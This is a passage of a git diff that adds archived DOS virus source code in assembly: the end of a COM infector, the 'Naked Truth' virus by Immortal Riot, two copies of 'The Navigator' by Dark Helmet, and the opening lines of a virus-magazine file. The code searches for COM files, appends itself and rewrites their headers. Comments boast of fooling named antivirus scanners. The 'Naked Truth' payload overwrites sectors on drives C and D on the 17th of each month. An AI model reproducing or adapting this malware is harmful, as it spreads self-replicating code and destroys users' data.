lea dx,[bp+NEW_DTA] ; Point to new DTA area
|
||||
call SET_DTA ; Go change it
|
||||
|
||||
; DOS Findfirst / Findnext services
|
||||
|
||||
|
||||
FINDFIRST: mov ah,4eh ; DOS find first service
|
||||
lea dx,[bp+COM_MASK] ; Search for any COM file
|
||||
xor cx,cx ; Attribute mask
|
||||
FINDNEXT: int 21h ; Call DOS to do it
|
||||
jc QUIT ; Quit if there are errors
|
||||
; or no more files
|
||||
|
||||
; Ok, if I am here, then I found a possible victim. Open the file and
|
||||
; check it for previous infections.
|
||||
|
||||
mov ax,3d00h ; DOS Open file, read only
|
||||
lea dx,[bp+NEW_DTA+30] ; Point to filename we found
|
||||
int 21h ; Call DOS to do it
|
||||
xchg ax,bx ; Put file handle in BX
|
||||
|
||||
; Check file for previous infection by checking for our presence at
|
||||
; then end of the file.
|
||||
|
||||
mov ah,3fh ; DOS Read file
|
||||
lea dx,[bp+ORIG_START] ; Save the original header
|
||||
mov cx,3 ; Read 3 bytes
|
||||
int 21h ; Call DOS to do it
|
||||
mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX
|
||||
mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
|
||||
add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
|
||||
cmp ax,cx ; Compare file size's
|
||||
jnz INFECT_COM ; If healthy, go infect it
|
||||
mov ah,3eh ; Otherwise close file and
|
||||
int 21h ; try to find another victim
|
||||
mov ah,4fh ; DOS find next file
|
||||
jmp short FINDNEXT ; Find another file
|
||||
|
||||
; Restore default DTA and pass control back to original program.
|
||||
; Call any activation routines here.
|
||||
|
||||
QUIT: mov dx,80h ; Restore original DTA
|
||||
call SET_DTA ; Go change it
|
||||
retn ; End Virus and start original
|
||||
; Program. Remember, DI holding
|
||||
; 100h was pushed on the stack.
|
||||
|
||||
;*** Subroutine INFECT_COM ***
|
||||
|
||||
INFECT_COM:
|
||||
|
||||
; Reset the file attributes to normal so I can write to the file
|
||||
|
||||
mov ax,4301h ; DOS change file attr
|
||||
xor cx,cx ; Zero attributes
|
||||
lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA
|
||||
int 21h ; Call DOS to do it
|
||||
|
||||
; Calculate jump offset for header of victim so it will run virus first.
|
||||
|
||||
mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
|
||||
sub ax,3 ; Subtract 3, size-jmp_code
|
||||
mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
|
||||
|
||||
; Close the file and reopen it for read/write. BX still holds file handle.
|
||||
|
||||
mov ah,3eh ; DOS close file
|
||||
int 21h ; Call DOS to do it
|
||||
mov ax,3d02h ; DOS open file, read/write
|
||||
int 21h ; Call DOS to do it
|
||||
xchg ax,bx ; Put file handle in BX
|
||||
|
||||
; Write the new header at the beginning of the file.
|
||||
|
||||
mov ah,40h ; DOS write to file
|
||||
mov cx,3 ; Write 3 bytes
|
||||
lea dx,[bp+HEADER] ; Point to the 3 bytes to write
|
||||
int 21h ; Call DOS to do it
|
||||
|
||||
; Move to end of file so I can append the virus to it.
|
||||
|
||||
mov al,2 ; Select end of file
|
||||
call FILE_PTR ; Go to end of file
|
||||
|
||||
; Append the virus to the end of the file.
|
||||
|
||||
mov ah,40h ; DOS write to file
|
||||
mov cx,END_VIRUS-START_VIRUS ; Length of virus
|
||||
lea dx,[bp+START_VIRUS] ; Start from beginning of virus
|
||||
int 21h ; Call DOS to do it
|
||||
|
||||
; Restore the file's original timestamp and datestamp. These values were
|
||||
; stored in the DTA by the Findfirst / Findnext services.
|
||||
|
||||
mov ax,5701h ; DOS set file date & time
|
||||
mov cx,word ptr [bp+NEW_DTA+22] ; Set time
|
||||
mov dx,word ptr [bp+NEW_DTA+24] ; Set date
|
||||
int 21h ; Call DOS to do it
|
||||
|
||||
; Restore original file attributes.
|
||||
|
||||
mov ax,4301h ; DOS change file attr
|
||||
mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
|
||||
lea dx,[bp+NEW_DTA+30] ; Point to file name
|
||||
int 21h ; Call DOS
|
||||
|
||||
; Lastly, close the file and go back to main program.
|
||||
|
||||
mov ah,3eh ; DOS close file
|
||||
int 21h ; Call DOS to do it
|
||||
jmp QUIT ; We're done
|
||||
|
||||
;*** Subroutine SET_DTA ***
|
||||
|
||||
SET_DTA proc near
|
||||
mov ah,1ah ; DOS set DTA
|
||||
int 21h ; Call DOS to do it
|
||||
retn ; Return
|
||||
SET_DTA endp
|
||||
|
||||
|
||||
;*** Subroutine FILE_PTR ***
|
||||
|
||||
|
||||
FILE_PTR proc near
|
||||
mov ah,42h ; DOS set read/write pointer
|
||||
xor cx,cx ; Set offset move to zero
|
||||
cwd ; Equivalent to xor dx,dx
|
||||
int 21h ; Call DOS to do it
|
||||
retn ; Return
|
||||
FILE_PTR endp
|
||||
|
||||
|
||||
|
||||
; This area will hold all variables to be encrypted
|
||||
|
||||
COM_MASK db '*.com',0 ; COM file mask
|
||||
|
||||
ORIG_START db 0cdh,20h,0 ; Header for infected file
|
||||
|
||||
HEADER db 0e9h ; Jmp command for new header
|
||||
|
||||
START_VIRUS endp
|
||||
|
||||
END_VIRUS equ $ ; Mark end of virus code
|
||||
|
||||
; This data area is a scratch area and is not included in virus code.
|
||||
|
||||
JMP_OFFSET dw ? ; Jump offset for new header
|
||||
NEW_DTA db 43 dup(?) ; New DTA location
|
||||
|
||||
end MAIN
|
|
@ -0,0 +1,245 @@
|
|||
; VirusName : Naked Truth
|
||||
; Country : Sweden
|
||||
; Author : The Unforiven / Immortal Riot
|
||||
; Date : 17/09/1993
|
||||
;
|
||||
; This is a mutation of the virus Born on the Fourth of July
|
||||
; This was written by TBSI. Mcafee scan used to find it as the
|
||||
; "ash" virus. But I changed on a few bytes, and he's now tricked.
|
||||
; Dr Alan Salomon "string" where placed at the beginning
|
||||
; of the code, but now he's cheated too..So...enjoy!
|
||||
;
|
||||
; This is a non-overwriting com infector, it is not resident.
|
||||
; It checks which day it is, and if it is the 17:ten the
|
||||
; virus will have a redeeming. A redeeming is very nice.
|
||||
;
|
||||
; This might not be the best mutation, but afterall, it
|
||||
; cheats the most common virus scanners. This was born
|
||||
; the seventeen of September 1993 (hate all date-names)
|
||||
;
|
||||
; Scan v108 can't find this, neither can S&S Toolkit 6.54,
|
||||
; havn't tried with TBScan/F-Prot, but they will probably
|
||||
; identify it as the "ash" virus.
|
||||
;
|
||||
; Regards : The Unforgiven / Immortal Riot
|
||||
|
||||
|
||||
code segment word public 'code' ;
|
||||
assume cs:code,ds:code ; I assume that too :)
|
||||
org 100h ;
|
||||
|
||||
main proc;edure ; Old pascal coder ?
|
||||
|
||||
|
||||
TITLE Naked Truth ;Mutation Name...
|
||||
TOF: ;Top-Of-File
|
||||
jmp short begin ;Skip over program
|
||||
NOP ;Reserve 3rd byte
|
||||
EOFMARK: db 26 ;Disable DOS's TYPE
|
||||
DB 0 ; <- S&S Toolkit "String-Cheater".
|
||||
|
||||
first_four: nop ;First run copy only!
|
||||
address: int 20h ;First run copy only!
|
||||
check: nop ;First run copy only!
|
||||
begin: call nextline ;Push BP onto stack
|
||||
nextline: pop bp ;BP=location of Skip
|
||||
sub bp,offset nextline ;BP=offset from 1st run
|
||||
|
||||
mov byte ptr [bp+offset infected],0
|
||||
;Reset infection count
|
||||
|
||||
lea si,[bp+offset first_four] ;Original first 4 bytes
|
||||
mov di,offset tof ;TOF never changes
|
||||
mov cx,4 ;Lets copy 4 bytes
|
||||
cld ;Read left-to-right
|
||||
rep movsb ;Copy the 4 bytes
|
||||
|
||||
mov ah,1Ah ;Set DTA address ...
|
||||
lea dx,[bp+offset DTA] ; ... to *our* DTA
|
||||
int 21h ;Call DOS to set DTA
|
||||
|
||||
mov ah,4Eh ;Find First ASCIIZ
|
||||
lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0
|
||||
lea si,[bp+offset filename] ;Point to file
|
||||
push dx ;Save DX
|
||||
jmp short continue ;Continue...
|
||||
|
||||
return:
|
||||
mov ah,1ah ;Set DTA address ...
|
||||
mov dx,80h ; ... to default DTA
|
||||
int 21h ;Call DOS to set DTA
|
||||
xor ax,ax ;AX= 0
|
||||
mov bx,ax ;BX= 0
|
||||
mov cx,ax ;CX= 0
|
||||
mov dx,ax ;DX= 0
|
||||
mov si,ax ;SI= 0
|
||||
mov di,ax ;DI= 0
|
||||
mov sp,0FFFEh ;SP= 0
|
||||
mov bp,100h ;BP= 100h (RETurn addr)
|
||||
push bp ; Put on stack
|
||||
mov bp,ax ;BP= 0
|
||||
ret ;JMP to 100h
|
||||
|
||||
nextfile: or bx,bx ;Did we open the file?
|
||||
jz skipclose ;No, so don't close it
|
||||
mov ah,3Eh ;Close file
|
||||
int 21h ;Call DOS to close it
|
||||
xor bx,bx ;Set BX back to 0
|
||||
skipclose: mov ah,4Fh ;Find Next ASCIIZ
|
||||
|
||||
continue: pop dx ;Restore DX
|
||||
push dx ;Re-save DX
|
||||
xor cx,cx ;CX= 0
|
||||
xor bx,bx
|
||||
int 21h ;Find First/Next
|
||||
jnc skipjmp
|
||||
jmp NoneLeft ;Out of files
|
||||
|
||||
skipjmp: mov ax,3D02h ;open file
|
||||
mov dx,si ;point to filespec
|
||||
int 21h ;Call DOS to open file
|
||||
jc nextfile ;Next file if error
|
||||
|
||||
mov bx,ax ;get the handle
|
||||
mov ah,3Fh ;Read from file
|
||||
mov cx,4 ;Read 4 bytes
|
||||
lea dx,[bp+offset first_four] ;Read in the first 4
|
||||
int 21h ;Call DOS to read
|
||||
|
||||
cmp byte ptr [bp+offset check],26 ;Already infected?
|
||||
je nextfile ;Yep, try again
|
||||
cmp byte ptr [bp+offset first_four],77 ;
|
||||
je nextfile ;
|
||||
|
||||
mov ax,4202h ;LSeek to EOF
|
||||
xor cx,cx ;CX= 0
|
||||
xor dx,dx ;DX= 0
|
||||
int 21h ;Call DOS to LSeek
|
||||
|
||||
cmp ax,0FD00h ;Longer than 63K?
|
||||
ja nextfile ;Yep, try again...
|
||||
mov [bp+offset addr],ax ;Save call location
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,4 ;Write 4 bytes
|
||||
lea dx,[bp+offset first_four] ;Point to buffer
|
||||
int 21h ;Save the first 4 bytes
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,offset eof-offset begin ;Length of target code
|
||||
lea dx,[bp+offset begin] ;Point to virus start
|
||||
int 21h ;Append the virus
|
||||
|
||||
mov ax,4200h ;LSeek to TOF
|
||||
xor cx,cx ;CX= 0
|
||||
xor dx,dx ;DX= 0
|
||||
int 21h ;Call DOS to LSeek
|
||||
|
||||
mov ax,[bp+offset addr] ;Retrieve location
|
||||
inc ax ;Adjust location
|
||||
|
||||
mov [bp+offset address],ax ;address to call
|
||||
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16
|
||||
mov byte ptr [bp+offset check],26 ;EOFMARK
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,4 ;Write 4 bytes
|
||||
lea dx,[bp+offset first_four] ;4 bytes are at DX
|
||||
int 21h ;Write to file
|
||||
|
||||
inc byte ptr [bp+offset infected] ;increment counter
|
||||
jmp nextfile ;Any more?
|
||||
|
||||
NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected
|
||||
jae TheEnd ;Party over!
|
||||
mov di,100h ;DI= 100h
|
||||
cmp word ptr [di],20CDh ;an INT 20h?
|
||||
je daycheck ;je daycheck
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Here instead of "JE" to theend here, jump to Daycheck, and if the day
|
||||
; isn't the 17:ten, just continue to theend, but if it is, have phun...
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
lea dx,[bp+offset riot] ;dot-dot method..
|
||||
; MOV DX,OFFSET RIOT ;shitty liner..
|
||||
mov ah,3Bh ;Set current directory
|
||||
int 21h ;CHDIR ..
|
||||
jc TheEnd ;We're through!
|
||||
mov ah,4Eh ;check for first com
|
||||
jmp continue ;Start over in new dir
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; If you want to get a redeeming on some special month, just look at the
|
||||
; call to daycheck at "nonleft" and the call to daycheck. Change the call
|
||||
; to monthcheck, and "delete" the ";" on procedure monthcheck. But
|
||||
; remember, that makes, the virus much less destructive, and by that time,
|
||||
; all scanners has probably added a new scan-string on this one. Now it will
|
||||
; go off the 17:th every month. Feel free to modify this date as much you
|
||||
; want to.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä-ÄÄ-
|
||||
; monthcheck: ; check what month it is..
|
||||
; mov ah,2ah ;
|
||||
; int 21h ; dos to your service..
|
||||
; cmp dh,10 ; check if month 10..
|
||||
; je daycheck ; if yes jump to day check
|
||||
; jmp theend ; otherwise jump to theend.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
DAYCHECK: ; Check what day it is..
|
||||
mov ah,2ah ;
|
||||
int 21h ; Dos to your service..
|
||||
cmp dl,17 ; Check if it's the forbidden night..
|
||||
je redeeming ; If yes, have a great fuck..
|
||||
jmp theend ; Otherwise jump to theend
|
||||
|
||||
REDEEMING: ; Havi'n such a great fuck..
|
||||
cli ; Cleaning all interrupts..>
|
||||
mov ah,2 ; Starting with drive C
|
||||
cwd ; Starting it from 0
|
||||
mov cx,0100h ; Continue to 256
|
||||
int 026h ; Direct disk-write
|
||||
jmp KARO ; Jump For Joy..(J4J)..
|
||||
|
||||
KARO: ; Yet another..
|
||||
CLI ; No law-breakers here!
|
||||
MOV AL,3 ; Set to fry drive D
|
||||
MOV CX,700 ; Set to write 700 sectors
|
||||
MOV DX,00 ; Starting at sector 0
|
||||
MOV DS,[DI+99] ; Put random crap in DS
|
||||
MOV BX,[DI+55] ; More crap in BX
|
||||
CALL REDEEMING ; Start it all over..
|
||||
|
||||
TheEnd: jmp return ; Getting a gold medal ?
|
||||
|
||||
Immortal: db '*.COM',0 ;File Specification
|
||||
Riot: db '..',0 ;'Dot-Dot'
|
||||
|
||||
MutationName: db " Naked Truth! "
|
||||
Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World "
|
||||
morefilling: db " // DEATH TO ALL - PEACE AT LAST // "
|
||||
Copyleft: db ' The Unforgiven / Immortal Riot '
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; None of this information is included in the virus's code. It is only
|
||||
; used during the search/infect routines and it is not necessary to pre-
|
||||
; serve it in between calls to them.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
EOF: ;End Of File..
|
||||
DTA: db 21 dup (?) ;internal search's data
|
||||
|
||||
attribute db ? ;attribute
|
||||
file_time db 2 dup (?) ;file's time stamp
|
||||
file_date db 2 dup (?) ;file's date stamp
|
||||
file_size db 4 dup (?) ;file's size
|
||||
filename db 13 dup (?) ;filename
|
||||
|
||||
infected db ? ;infection count
|
||||
|
||||
addr dw ? ;Address
|
||||
|
||||
main endp;rocedure
|
||||
code ends;egment
|
||||
|
||||
end main
|
||||
|
||||
; Greets goes out to : Raver, Metal Militia, Scavenger
|
||||
; and all other hi-tech assasins all over the world...
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,201 @@
|
|||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
;****************************************************************************
|
||||
;* The Navigator *
|
||||
;* *
|
||||
;* Assembled with Tasm 2.5 *
|
||||
;* *
|
||||
;* (c) 1992 Dark Helmet, The Netherlands *
|
||||
;* The author takes no responsibilty for any damages caused by the virus *
|
||||
;* *
|
||||
;* Special greetings to : *
|
||||
;* Glenn Benton, XSTC for their nice source and viruses, *
|
||||
;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the *
|
||||
;* work, Guns and Roses for their great music, *
|
||||
;* and al the other viruswriters... *
|
||||
;* *
|
||||
;* " Trust me...I know what I'm doing" *
|
||||
;* *
|
||||
;*--------------------------------------------------------------------------*
|
||||
;* *
|
||||
;* Coming soon : The Anti-DAF Virus *
|
||||
;* Civil War II *
|
||||
;* *
|
||||
;*--------------------------------------------------------------------------*
|
||||
;* *
|
||||
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
|
||||
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
|
||||
;* - PC Handboek voor programmeurs *
|
||||
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
|
||||
;* - Werken met Turbo Assembler *
|
||||
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
|
||||
;* *
|
||||
;****************************************************************************
|
||||
|
||||
.Radix 16
|
||||
|
||||
Navigator Segment
|
||||
Assume cs:Navigator, ds:Navigator,
|
||||
org 100h
|
||||
|
||||
len equ offset last - begin
|
||||
|
||||
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
|
||||
|
||||
Begin: call virus
|
||||
|
||||
Virus: pop bp
|
||||
sub bp,109h
|
||||
mov dx,0fe00h
|
||||
mov ah,1ah
|
||||
int 21h
|
||||
|
||||
Restore_begin: mov di,0100h
|
||||
lea si,ds:[buffer+bp]
|
||||
mov cx,06h
|
||||
rep movsb
|
||||
|
||||
First: lea dx,[com_mask+bp]
|
||||
mov ah,04eh
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
Open_file: mov ax,03d02h
|
||||
mov dx,0fe1eh
|
||||
int 21h
|
||||
mov [handle+bp],ax
|
||||
xchg ax,bx
|
||||
|
||||
Read_date: mov ax,05700h
|
||||
int 21h
|
||||
mov [date+bp],dx
|
||||
mov [time+bp],cx
|
||||
|
||||
Check_infect: mov bx,[handle+bp]
|
||||
mov ah,03fh
|
||||
mov cx,06h
|
||||
lea dx,[buffer+bp]
|
||||
int 21h
|
||||
mov al,byte ptr [buffer+bp]+3
|
||||
mov ah,byte ptr [buffer+bp]+4
|
||||
cmp ax,[initials+bp]
|
||||
jne infect_file
|
||||
|
||||
Close_file: mov bx,[handle+bp]
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
Next_file: mov ah,4fh
|
||||
int 21h
|
||||
jnb open_file
|
||||
jmp exit
|
||||
|
||||
Infect_file: mov ax,word ptr [cs:0fe1ah]
|
||||
sub ax,03h
|
||||
mov [lenght+bp],ax
|
||||
mov ax,04200h
|
||||
call move_pointer
|
||||
|
||||
Write_jump: mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,[jump+bp]
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[lenght+bp]
|
||||
int 21h
|
||||
mov ah,40
|
||||
mov cx,02h
|
||||
lea dx,[initials+bp]
|
||||
int 21h
|
||||
|
||||
Write_virus: mov ax,4202h
|
||||
call move_pointer
|
||||
mov ah,40h
|
||||
mov cx,len
|
||||
lea dx,[begin+bp]
|
||||
int 21h
|
||||
|
||||
restore_date: mov dx,[date+bp]
|
||||
mov cx,[time+bp]
|
||||
mov bx,[handle+bp]
|
||||
mov ax,05701h
|
||||
int 21h
|
||||
|
||||
exit: mov bx,0100h
|
||||
jmp bx
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
move_pointer: mov bx,[handle+bp]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
com_mask db "*.com",0
|
||||
handle dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
buffer db 090h,0cdh,020h,044h,048h,00h
|
||||
initials dw 4844h
|
||||
lenght dw ?
|
||||
jump db 0e9h,0
|
||||
msg db "The Navigator, (c) 1992 Dark Helmet",0
|
||||
|
||||
last db 090h
|
||||
|
||||
Navigator ends
|
||||
end dummy
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
|
|
@ -0,0 +1,161 @@
|
|||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
;****************************************************************************
|
||||
;* The Navigator *
|
||||
;* *
|
||||
;* Assembled with Tasm 2.5 *
|
||||
;* *
|
||||
;* (c) 1992 Dark Helmet, The Netherlands *
|
||||
;* The author takes no responsibilty for any damages caused by the virus *
|
||||
;* *
|
||||
;* Special greetings to : *
|
||||
;* Glenn Benton, XSTC for their nice source and viruses, *
|
||||
;* XXXXXXXXXXXXX for his BBS, Marcel and Ziggy for keeping me of the *
|
||||
;* work, Guns and Roses for their great music, *
|
||||
;* and al the other viruswriters... *
|
||||
;* *
|
||||
;* " Trust me...I know what I'm doing" *
|
||||
;* *
|
||||
;*--------------------------------------------------------------------------*
|
||||
;* *
|
||||
;* Coming soon : The Anti-DAF Virus *
|
||||
;* Civil War II *
|
||||
;* *
|
||||
;*--------------------------------------------------------------------------*
|
||||
;* *
|
||||
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
|
||||
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
|
||||
;* - PC Handboek voor programmeurs *
|
||||
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
|
||||
;* - Werken met Turbo Assembler *
|
||||
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
|
||||
;* *
|
||||
;****************************************************************************
|
||||
|
||||
.Radix 16
|
||||
|
||||
Navigator Segment
|
||||
Assume cs:Navigator, ds:Navigator,
|
||||
org 100h
|
||||
|
||||
len equ offset last - begin
|
||||
|
||||
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
|
||||
|
||||
Begin: call virus
|
||||
|
||||
Virus: pop bp
|
||||
sub bp,109h
|
||||
mov dx,0fe00h
|
||||
mov ah,1ah
|
||||
int 21h
|
||||
|
||||
Restore_begin: mov di,0100h
|
||||
lea si,ds:[buffer+bp]
|
||||
mov cx,06h
|
||||
rep movsb
|
||||
|
||||
First: lea dx,[com_mask+bp]
|
||||
mov ah,04eh
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
Open_file: mov ax,03d02h
|
||||
mov dx,0fe1eh
|
||||
int 21h
|
||||
mov [handle+bp],ax
|
||||
xchg ax,bx
|
||||
|
||||
Read_date: mov ax,05700h
|
||||
int 21h
|
||||
mov [date+bp],dx
|
||||
mov [time+bp],cx
|
||||
|
||||
Check_infect: mov bx,[handle+bp]
|
||||
mov ah,03fh
|
||||
mov cx,06h
|
||||
lea dx,[buffer+bp]
|
||||
int 21h
|
||||
mov al,byte ptr [buffer+bp]+3
|
||||
mov ah,byte ptr [buffer+bp]+4
|
||||
cmp ax,[initials+bp]
|
||||
jne infect_file
|
||||
|
||||
Close_file: mov bx,[handle+bp]
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
Next_file: mov ah,4fh
|
||||
int 21h
|
||||
jnb open_file
|
||||
jmp exit
|
||||
|
||||
Infect_file: mov ax,word ptr [cs:0fe1ah]
|
||||
sub ax,03h
|
||||
mov [lenght+bp],ax
|
||||
mov ax,04200h
|
||||
call move_pointer
|
||||
|
||||
Write_jump: mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,[jump+bp]
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[lenght+bp]
|
||||
int 21h
|
||||
mov ah,40
|
||||
mov cx,02h
|
||||
lea dx,[initials+bp]
|
||||
int 21h
|
||||
|
||||
Write_virus: mov ax,4202h
|
||||
call move_pointer
|
||||
mov ah,40h
|
||||
mov cx,len
|
||||
lea dx,[begin+bp]
|
||||
int 21h
|
||||
|
||||
restore_date: mov dx,[date+bp]
|
||||
mov cx,[time+bp]
|
||||
mov bx,[handle+bp]
|
||||
mov ax,05701h
|
||||
int 21h
|
||||
|
||||
exit: mov bx,0100h
|
||||
jmp bx
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
move_pointer: mov bx,[handle+bp]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
com_mask db "*.com",0
|
||||
handle dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
buffer db 090h,0cdh,020h,044h,048h,00h
|
||||
initials dw 4844h
|
||||
lenght dw ?
|
||||
jump db 0e9h,0
|
||||
msg db "The Navigator, (c) 1992 Dark Helmet",0
|
||||
|
||||
last db 090h
|
||||
|
||||
Navigator ends
|
||||
end dummy
|
||||
;****************************************************************************;
|
||||
;****************************************************************************;
|
|
@ -0,0 +1,30 @@
|
|||
;[Death Virii Crew] Presents
|
||||
;CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997
|
||||
|
||||
brkem macro inter
|
||||
